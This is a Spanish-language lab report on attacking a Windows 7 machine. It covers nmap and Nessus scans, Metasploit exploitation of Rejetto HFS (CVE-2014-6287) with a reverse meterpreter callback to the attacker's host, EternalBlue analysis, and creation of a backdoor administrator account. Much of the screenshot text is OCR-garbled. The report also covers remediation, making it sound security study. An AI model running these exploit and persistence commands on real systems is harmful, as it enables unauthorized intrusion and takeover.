Nmap: Wmap scan report f
Nmap: Host is up (
Nmap: PORT STATE !
L E y5/tcp open msrpc Micra5DfT Windows RPC
Nmap: Se fo: 05: Windows; CPE: o:microsoft:windows
Nm; 1 ete on performed. Plea report any incorrect

Nmap done: 1 IP address (1 host up) scanned in 53.97 seconds

Fuente: propia

Imagen 16. Escaneo puerto 49156.

msf6 > db_nmap -sV 192.16
Nmap: Starting Nmap ttps://nmap.org ) at : -@6 11:25 EST
Nmap: Nmap scan report for &
Nmap: i

Nmap done: 1 IP address (1 host up) scanned in 54.21 seconds

Fuente: propia
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Imagen 17. Escaneo resumen 1.

L [ nmap.org ) at
Nmap sc g T 68.1.10
Host is up ( L
Not show t onn-refused)

ft Windows
S-55n Windows bios-ssn
osoft-ds Mic ft Windows 7 - 1@ microsoft-ds

y rtsp?
Nmap : C e http Microsoft HTTPAPT httpd 2.0 DP/UPNP
Nmap : e http Microsoft HTTPAPI httpd 2
Nmap : C Microsoft HTTPAPI httpd 2.0 DP/UPNP
Nm 4 Cp open rpc ic ft Windo PC
Nm open Wind
Nmap: & L open C ft Windo
Nm open t Windo
Nm open Windo
Nmap: Service Info: Host: P ; 05: Windows; CPE: 2 osoft:wi
ndows

Wowm N oA A

: on performed. & report any : results at
ubmi .
: 1 IP address (1 host up) scanned in 148.04 seconds

Fuente: propia

Esa es la informacion que un atacante pudo extraer de la maquina previa al ataque,
ademas, se puede obtener el sistema operativo de la maquina a manera de
perfilamiento del ataque.

Imagen 18. Escaneo resumen 2.

(1 host u
sent: 1091

Fuente: propia

Se buscan los servicios que actualmente tiene la maquina en ejecucion.
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Imagen 19. Servicios en la maquina.

Bl Administrador: C:\Windows\system32\cmd.exe =Nl RCs @

Administrador de cuentas de seguridad
Administrador de sesidn del Administrador de ventanas de escritorio
Agente de directiva IPsec

Aplicacidn auxiliar de NetBIOS sohre TCP/IP
Aplicacidn auxiliar IP

Archivos sin conexidn

Asignador de extremos de RPC

Audico de Windows

Centro de seguridad

Cliente de directiva de grupo

Cliente de seguimiento de vinculos distribuidos
GCliente DHCP

Cliente DHS

Cola de impresidn

Compilador de extremo de audio de Windows
Conexiones de red

Deteccidn de hardware shell

Deteccidn SSDP

Dispositivo host de UPnP

Energia

Estacidn de trabajo

Examinador de equipos

Firewall de Windows

Host del servicio de diagndstico

Iniciador de procesos de servidor DCOM
Instrumental de administracidn de Windows
Llamada a procedimiento remoto <(RPC>

Motor de filtrado de baze

Modulos de creacidn de claves de IPsec para IKE y AuthlIP
Plug and Play

Programador de tareas

Proteccidn de softuware

Publicacién de recurso de deteccidn de funcidn
Reconocimiento de ubicacidn de red

Registro de eventos de Windows

Servicio caché de fuentes de Windows
Servicio compatibilidad de programas
Servicio directivas de diagndstico

Seprvicio lista de redes

Servicio notificacidn de eventos de sistema
Servicio notificacidn de SSP

Servicio perfil de uwusuwario

Servicio transferencia inteligente en segundo plano (BITE>
Servicio uzo compartido de red del Reproductor de Windows Media
Servicio Interfaz de almacenamiento en red
Servicios de cifrado

Sepvidor

Sistema de eventoz COM+

Fuente: propia

En cuanto a los programas instalados en la maquina no veo ninguna referencia a
los que muestra en el anexo aun cuando la vulnerabilidad mencionada persiste:

Imagen 20. Programas.

L ||’. » Panel de contrel » Todos los elementos de Panel de contrel » Programas y caracteristicas s

Ventana principal del Panel de

Tl Desinstalar o cambiar un programa

Para desinstalar un programa, seleccionelo en la lista y después haga clic en Desinstalar, Cambiar o Reparar.
Ver actualizaciones instaladas preg Y P g P

B Activar o desactivar las
caracteristicas de Windows

Organizar +
Nombre : Editor Seinstalé el Tamafio Versién
[E5217-Zip 19.00 (x64) Igor Paviov 26/06/2020 49 MB 19.00
@ Mozilla Firefox 77.0.1 (x54 es-ES) Meozilla 26/06/2020 194 MB 7701
=) Mozilla Maintenance Service Mozilla 26/06/2020 328KB 7701
m-|Qracle VM VirtualBox Guest Additions 6.1.10 Oracle Corporation 26/06/2020 61100

Fuente: propia
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Se busca el tema de los usuarios administradores, se evidencia un Unico usuario
administrador y ningan otro habilitado.

Imagen 21. Usuarios en equipo objetivo.

Elegir la cuenta que desee cambiar

usuario
Administrador

Invitado
La cuenta de invitade esta desactivada

Fuente: propia

Se pasa a hacer un escaneo de vulnerabilidades completo en busca de la forma en
como atacaron esta maquina para obtener todas las vulnerabilidades en la misma.
Se obtiene la siguiente informacion de la maquina:

Imagen 22. Resultados del Scan.

192.168.1.10

CRTICAL HIGH MEDIUM Low NFO

scan Information

Start time: Sun Mar 6 14:18:29 2022

End time: sSun Mar 6 14:25:37 2022
Host Information

Netbios Name: PC202006
1P: 192.168.1.10
MAC Address: 08:00:27:92:80:C0

0s: Microsoft Windows 7 Professional

Fuente: propia

Nos enfocaremos en las 2 vulnerabilidades Critica y alta, ademas, de un servicio
HTTP abierto por el puerto 80 que se puede llegar a observar por medio del software
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Rejetto en su ejecucion, es necesario el aclarar que este software se maneja como
servicio por tanto no se observara instalado.

POSIBLE ATAQUE 1: Rejetto.

CVE-2014-6287(CVSS 3.1: 8.3 Alta): findMacroMarker en parserLib.pas en Rejetto
HTTP File Server (también conocido como HFS o HttpFileServer) 2.3x anterior a
2.3c permite a atacantes remotos ejecutar programas arbitrarios a través de una
secuencia %00 en una accion de busqueda.

Teniendo en cuenta su descripcion se buscara cada puerto relacionado a HTTP
entre los que podemos observar:

Imagen 23. Puertos abiertos.

2869/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNnP

5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP

10243/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP

Fuente: propia

La informacion de un usuario administrador coincidia con la maquina provista en la
fase 1. Entre los puertos abiertos encontramos:

Imagen 24. Puertos abiertos.

PORT STATE SERVICE
80/tcp open http

135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
554/tcp open rtsp
2869/tcp open 1icslap

5357/tcp open wsdapi
10243/tcp open unknown
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown

Fuente: propia
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Se identifica una maquina de Windows 7 x64 SP1 y no se encuentra rastros de los
servicios mencionados en los anexos. Se encuentra que la pista de meterpreter da
una vulnerabilidad de SMBvV1 que podria ser explotable.

Como pista dan también el nombre Rejetto, que puede dar pistas sobre la
vulnerabilidad y exploit con el mismo nombre.

Imagen 25. BD metaexploit HTTP Rejetto.

Vulnerabilities 21

INFS ] Web Server UPnP Detection Plugin Details
Description Severity: Info
Messus was able to extract some information about the UPnP-enabled device by querying this web server, Services may also be ID: 35712
reachable through SOAP requests. Version: 1.22
Type: remote
solution Family: Service detection
Published: February 19, 2009

Filter incoming traffic to this port if desired.
Modified: June 12, 2020

INF | Web Server / Application favicon.ico Vendor Fingerprinting

Description
The ‘favicon.ico' file found on the remote web server belongs to a popular web server, This may be used to fingerprint the web
server.

Solution

Remove the “favicon.ico’ file or create a custom one for your site.

Fuente: propia

Entre los hallazgos encontramos también puertos HTTP abiertos, y como tenemos
un rastro con el nombre Rejetto pasaremos a buscar y aplicar los exploits
relacionados. Como primer paso identificamos el CVE y posible modo de
explotacion (Informacion provista en la etapa de descubrimiento). Es necesario
realizar la busqueda de en las bases de datos de metaexploit para saber cuales
serian los conjuntos de exploits y configuraciones necesarias a realizar sobre los
puertos objetivos.

Se encuentra que la configuracion de metaexploit provee el siguiente paquete de
explotacion para esta vulnerabilidad: “exploit/Windows/http/rejetto_hfs_exec”
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Imagen 26. BD metaexploit HTTP Rejetto.

# Name Disclosure Date Rank
Description

@ exploit/wind y
Reéjetto HttpFileServer Remote Comm

Fuente: propia

Para su explotacion pasamos a ejecutar los comandos y configuraciones de IP y
del script obteniendo este resultado:

Imagen 27. Exploit ejecutado.

msf6 > use exploit/windows/http/rejjeto_hfs_exec
No results from search
Failed to load module: exploit/windows/http/rejjeto_hfs_exec
msf6 > use exploit/windows/http/rejetto_hfs_exec
No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit( ) > RHOST 192.168.1.11
Unknown command: RHOST
msf6 exploit( set RHOST 192.168.1.11
RHOST = 192.168.1.11
msf6 exploit( set SRVHOST 192.168.1.12
SRVHOST = 192.168.1.12
msf6 exploit( run

Started reverse TCP handler on 192.168.1.12:4444

Using URL: http://192.168.1.12:8080/VPhkTS

Server started.

Sending a malicious request to /

Payload request received: /VPhkTS

Sending stage (175174 bytes) to 192.168.1.11

Meterpreter session 1 opened (192.168.1.12:4444 — 192.168.1.11:52201 ) a
t 2022-03-20 15:19:31 -0400

Server stopped.
[!] This exploit may require manual cleanup of '¥TEMP%\dScPJp.vbs' on the tar
get

meterpreter > |j

Fuente: propia



POSIBLE ATAQUE 2: EternalBlue.
Esta vulnerabilidad de criticidad alta comprende los siguientes CVE:

o

CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146,
CVE-2017-0148 (CVSS 3.1: 8.1 Alta): El servidor SMBv1 en Microsoft
Windows Vista SP2; Windows Server 2008 SP2 y R2 SP1; Windows 7
SP1; Windows 8.1; Windows Server 2012 Gold y R2; Windows RT 8.1; y
Windows 10 Gold, 1511 y 1607; y Windows Server 2016 permite a los
atacantes remotos ejecutar codigo arbitrario a través de paquetes
crafteados.

CVE-2017-0147(CVSS 3.1:5.9 Media): El servidor SMBv1l de Microsoft
Windows Vista SP2; Windows Server 2008 SP2 y R2 SP1; Windows 7
SP1; Windows 8.1; Windows Server 2012 Gold y R2; Windows RT 8.1; y
Windows 10 Gold, 1511 y 1607; y Windows Server 2016 permite a los
atacantes remotos obtener informacion sensible de la memoria del
proceso a través de un paquete crafteado.

CVE-2017-0199(CVSS 3.1: 7.8 Alta): Microsoft Office 2007 SP3,
Microsoft Office 2010 SP2, Microsoft Office 2013 SP1, Microsoft Office
2016, Microsoft Windows Vista SP2, Windows Server 2008 SP2,
Windows 7 SP1, Windows 8.1 permiten a atacantes remotos ejecutar
cbdigo arbitrario a través de un documento crafteado.

Para explicar como funcionaria se tomara como ejemplo a EternalBlue, un malware
gue hace uso de esta vulnerabilidad para instalarse. Estos son los datos asociados
a esta vulnerabilidad:

o 0O O O

Brecha de infeccion: Archivos personalizados.

Puerto: TCP_445.

Protocolo: SMBv1.

Método: El malware utiliza el puerto abierto SMBv1 y se instala por medio
de un caédigo predefinido que puede venir ligado a archivos adjuntos a
correo de Phishing, unidades de almacenamiento u otros hosts
previamente infectados. En muchas ocasiones utilizan servidores de
comando y control para realizar descarga e instalacion de otros malware,
por ejemplo, WannaCry quien fue el que hizo famoso este método.
Comandos usados: se encuentran de manera predeterminada esta
configuracion:
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imagen 28. Payload inicial.

ice xdevmap='TARGET PLATFORM' e='Target' d ='Cperating System, Service Pack, and Architecture of target 0S'>
INT2K8R2</value
p na iption='Windows XP 32-Bit All Service Packs'/
WIN7ZK8RZ ' i Windows 7

7 and 2008 R2 32-Bit and 64-Bit All Service Packs

ETERNALBLUE_DOUBLEPULSAR_PRESENT

='Boslean' name='DoublePulsarPresent’ ='Set to true if the DOUBLEPULSAR backdoor was already
='TargetIp' listenport='TargetPort ion='true taddr='//identifier' destporc="//service[names='SMB']/port

='Protocol = sMB />

"//service [name='smb']/port” name='TargetPort

Fuente: NETSKOPE. “Stepping Stone Attack launches EternalBlue Internally”*’.

Imagen 29. Payload configurado.
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Fuente: NETSKOPE. “Stepping Stone Attack launches EternalBlue Internally”.

Imagen 30. Payload ejecutado.

. ves
ting Plugin ’ i
Connecting to target for loitation
for exploitation.

alled, game on
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loit packet!
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egg to corrupted connection.
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door returned code:
Ping returned Target architecture: » (64-bit)
k s ad

[«] CORE sen
0x00000000 08 00

from CORE
s code 0x08

Fuente: NETSKOPE. “Stepping Stone Attack launches EternalBlue Internally”.

17 NETSKOPE. “Stepping Stone Attack launches EternalBlue Internally”. [Sitio web] (30/03/2022). Disponible en:
https://www.netskope.com/es/blog/stepping-stone-attack-launches-eternalblue-internally.
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o Método de propagacion: El malware de manera inmediata buscara el
instalarse en otros dispositivos, lo que lleva a que haga una exploraciéon
de red en buscar de otros dispositivos con el puerto TCP_445 abierto
como es el caso de la maquina objetivo del analisis. Esto llevara a una
perdida masiva de informacion dependiendo de la carga usada junto a a
la explotacion de esta vulnerabilidad que generalmente en un
Ransomware.

o Remediacion: Microsoft ha lanzado un conjunto de parches para
Windows Vista, 2008, 7, 2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10y 2016.
Microsoft también ha publicado parches de emergencia para los sistemas
operativos Windows que ya no son compatibles, como Windows XP, 2003
y 8. Para los sistemas operativos Windows no soportados, por ejemplo,
Windows XP, Microsoft recomienda que los usuarios dejen de utilizar
SMBv1. SMBv1 carece de las caracteristicas de seguridad que se
incluyeron en versiones posteriores de SMB. SMBvV1 se puede desactivar
siguiendo las instrucciones del proveedor que figuran en Microsoft
KB2696547. Ademas, el US-CERT recomienda que los usuarios
bloqgueen SMB directamente mediante el bloqueo del puerto TCP 445 en
todos los dispositivos de frontera de la red. Para SMB a través de la API
NetBIOS, bloquee los puertos TCP 137/ 139y los puertos UDP 137 /138
en todos los dispositivos de limite de red.

imagen 31. Método de infeccion.
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Fuente: NETSKOPE. “Stepping Stone Attack launches EternalBlue Internally”.
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o Consideraciones adicionales: En el caso de la maquina hay 2
vulnerabilidades medias que colaboran en facilitar la explotacién de esta
vulnerabilidad, donde se presenta que no hay necesidad de usuario para
autenticarse en SMBv1 y es posible saltarse la autenticacion del mismo.
Estas son resumidas como:

Imagen 32. Vulnerabilidad de elevacion de privilegios.

90510 - MS16-047: Security Update for SAM and LSAD Remote Protocols (3148527) (Badlock) (uncredentialed check) =

Synopsis
The remote Windows host is affected by an elevation of privilege vulnerability.

Description

The remote Windows host is affected by an elevation of privilege vulnerability in the Security Account Manager (SAM) and Local Security Authority (Domain Policy)
(LSAD) protocols due to improper authentication level negotiation over Remote Procedure Call (RPC) channels. A man-in-the-middle attacker able to intercept
communications between a client and a server hosting @ SAM database can exploit this to force the authentication level to dewngrade, allowing the attacker to
impersonate an authenticated user and access the SAM database.

See Also

g/uPS2adeled

Solution

Microsoft has released a set of patches for Windows Vista, 2008, 7. 2008 R2, 2012, 8.1, RT 8.1, 2012 R2, and 10.

Risk Factor

Medium

CVSSv3.0 Base Score

6.8 (CVS5:3.0/AVIN/AC:H/PRIN/ULR/S: U H/ L HAAIN)

CVSS v3.0 Temporal Score

5.9 (CWS5:3.0/E:U/RL:0/RC:C)

Fuente: Propia.

Imagen 33. Vulnerabilidad de usuario abierto.

57608 - SMB Signing not required -

Synopsis
Signing is not required on the remote SMB server,

Description

Signing is not required on the remote SMB server. An unauthenticated, remote attacker can exploit this to conduct man-in-the-middle attacks against the SMB
server.

See Also

Solution

Enforce message signing in the host's configuration. On Windows, this is found in the policy setting 'Microsoft network server: Digitally sign communications
(always)'. On Samba, the setting is called 'server signing’. See the 'see also’ links for further details.

Risk Factor

Medium

CVsS v3.0 Base Score

5.3 (CVS5:3.0/AV:N/ACL/PRIN/ULIN/SIUSCIN/LLAAIN)

CVSS v3.0 Temporal Score

4.6 (CVS5:3.0/E:U/RL.O/RCIC)

Fuente: Propia.
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o Explotacion de la vulnerabilidad: Se ejecuta el payload http inverse-
>meterpeter correspondiente a la vulnerabilidad por medio de metaexploit,
aprovechando la vulnerabilidad encontrada:

Imagen 34. Explotacion de la vulnerabilidad.

/smb/smb_ms17_01@
VULNERABLE to 7

(1e€

g exploit
 all but las

(UUID: rupwdchs)

n 1 opened (1

Fuente: Propia.

Imagen 35. Informacion maquina explotada. Fuente: Propia.

todos los derechos.

ipconfig

iindows

. : medios desconectados

Fuente: Propia.
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APLICACION DE PERMISOS ADMINISTRATIVOS: Meterpreter
En el ejercicio se hace referencia a que el atacante crea un usuario administrativo,
agui se muestra el proceso de creacion de este usuario:

Imagen 36. Creacién de usuario.

meterpreter > add_user "jesusduarte” "1090434946"
The "add_user” command requires the "incognito" extension to be loaded (r
un: "load incognito’)
meterpreter > load incognito
Loading extension incognito ... Success.
meterpreter > add_user "jesusduarte” "1090434946"

[-] Warning: Not currently running as SYSTEM, not all tokens will be availabl
=
Call rev2self if primary process token is SYSTEM
[*] Attempting to add user jesusduarte to host 127.0.0.1
[+] Successfully added user
meterpreter > [J

Fuente: Propia.

Para tener acceso completo a la maquina pasaremos a asignar a este usuario un
grupo con permisos administrativos. Como primer paso es necesario identificar los
grupos de seguridad y perfiles que se pueden obtener en la maquina, pasaremos a
identificar directamente cual podria ser administrador:

Imagen 37. Lista de grupos de seguridad. Fuente: Propia.

\

\INICIO DE SESION EN LA CONSOLA
\Todos

BUILTIN\Administradores
BUILTIN\Usuarios

NT AUTHORITY\Autenticacién NTLM
NT AUTHORITY\Esta compaifiia

NT AUTHORITY\INTERACTIVE

NT AUTHORITY\SERVICIO

NT AUTHORITY\Usuarios autentificados
NT SERVICE\AudioEndpointBuilder
NT SERVICE\BITS

NT SERVICE\CscService

NT SERVICE\IKEEXT

NT SERVICE\iphlpsvc

NT SERVICE\LanmanServer

NT SERVICE\MMCSS

NT SERVICE\Netman

NT SERVICE\PcaSvc

NT SERVICE\Schedule

NT SERVICE\SENS

NT SERVICE\ShellHwDetection

NT SERVICE\Trkwks

NT SERVICE\UxSms

NT SERVICE\Winmgmt

NT SERVICE\wuauserv

Fuente: Propia.
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Como paso final se pasa a agregar el usuario administrativo al grupo de seguridad
de administradores, completando de esta manera el atraque y dejando la maquina
a completa disposicion del atacante.

Imagen 38. Grupo afadido.

meterpreter > add_localgroup_user "Administradores” "jesusduarte”
-] Warning: Not currently running as SYSTEM, not all tokens will be availabl

]
r &
]

A
0.
S
r

Call rev2self if primary process token is SYSTEM

ttempting to add user jesusduarte to localgroup Administradores on host

0.1

uccessfully added user to local group
meterpreter > |j

Fuente: Propia.

Imagen 39. Resumen usuarios.

Elegir la cuenta que desee cambiar

{ | -
usuario | ;esu_sduarte
i Administrador
Administrador ! .
' | Protegida por contraseria

Invitado
La cuenta de invitado esta desactivada

Fuente: Propia.

Como ultimo punto se referencia la posible remediacion para esta vulnerabilidad:

o

Es necesario el actualizar el software Rejetto a la version mas reciento o
por minimo la version 2.3G.

Evitar el uso de HTTP como protocolo en cualquier servicio negando los
servicios por el puerto 80 y el uso del protocolo en si.

Evitar el uso de puertos por defectos y la identificacion de servicios por
red.
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CONCLUSIONES

La implementacion de equipos de Redteam y Blueteam que se presenta en los
casos de expuestos es completamente vacia y no tiene bases legales o técnicas
para su implementacion, lo recomendado en este proceso es una buena asesoria
legal y conocimiento de los alcances en el proceso. Como parte de este proceso es
necesario la creacion de toda documentacion legal que se relacione al proceso que
limite, dicte roles y sea completamente subsecuente a las normas legales del pais.

De manera adicional se debera realizar un estudio sobre el funcionamiento que
tendrian los equipos a implementar, lo que lleva a escoger herramientas y
metodologias que se adapten con el ambiente a simular, integrar y auditar, dado
gue hay gran variedad de la mismas y se debe tener claro y direccionado que se va
a hacer.

Los casos expuestos en la maquina vulnerada muestra una falta de control total
sobre las implementaciones del entorno corporativo donde se encuentra, por ello es
necesario una implementacion inmediata desde linea base, pasando a controles de
seguridad y de terminando en procesos de actualizacion y descubrimiento que
hagan de la infraestructura interna segura.

Los equipos de Redteam y Blueteam son necesarios en ciertos tipos de
organizaciones, pero, no es un gasto que deberian hacer empresas pequefias, por
ello es necesario buscar cual es el nivel necesario de seguridad requerido en cada
caso para la prestacion de servicio objetivo; aun asi, se recomienda implementarlo
0 contratarlo con un tercero en caso de ser necesario.
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RECOMENDACIONES

Es necesario tener claro que no solo las herramientas nombradas en el desarrollo
del documento son las que se pueden usar para estos procesos, aunque son las
mas comunes. Es necesario buscar y adaptar herramientas para cada uno de los
casos, en preferencia evitando problemas de licenciamiento.

Como parte adicional del proceso de contratacion se recomienda realizar estudio de
los aspirantes a modo de antecedentes, esto con el fin de tener un poco mas de
seguridad en cuanto a que tipo de persona esta entrando en un tema tan sensible
como es la ciberseguridad.

Es necesario reconocer multiples controles de ciberseguridad que lleven a saber
posibles implementaciones a realizar al dar soluciones, por ello se recomienda que
el personal de estos equipos tenga no solo experiencia en programacion y
herramientas de explotacién, si no, en controles perimetrales y telecomunicaciones.
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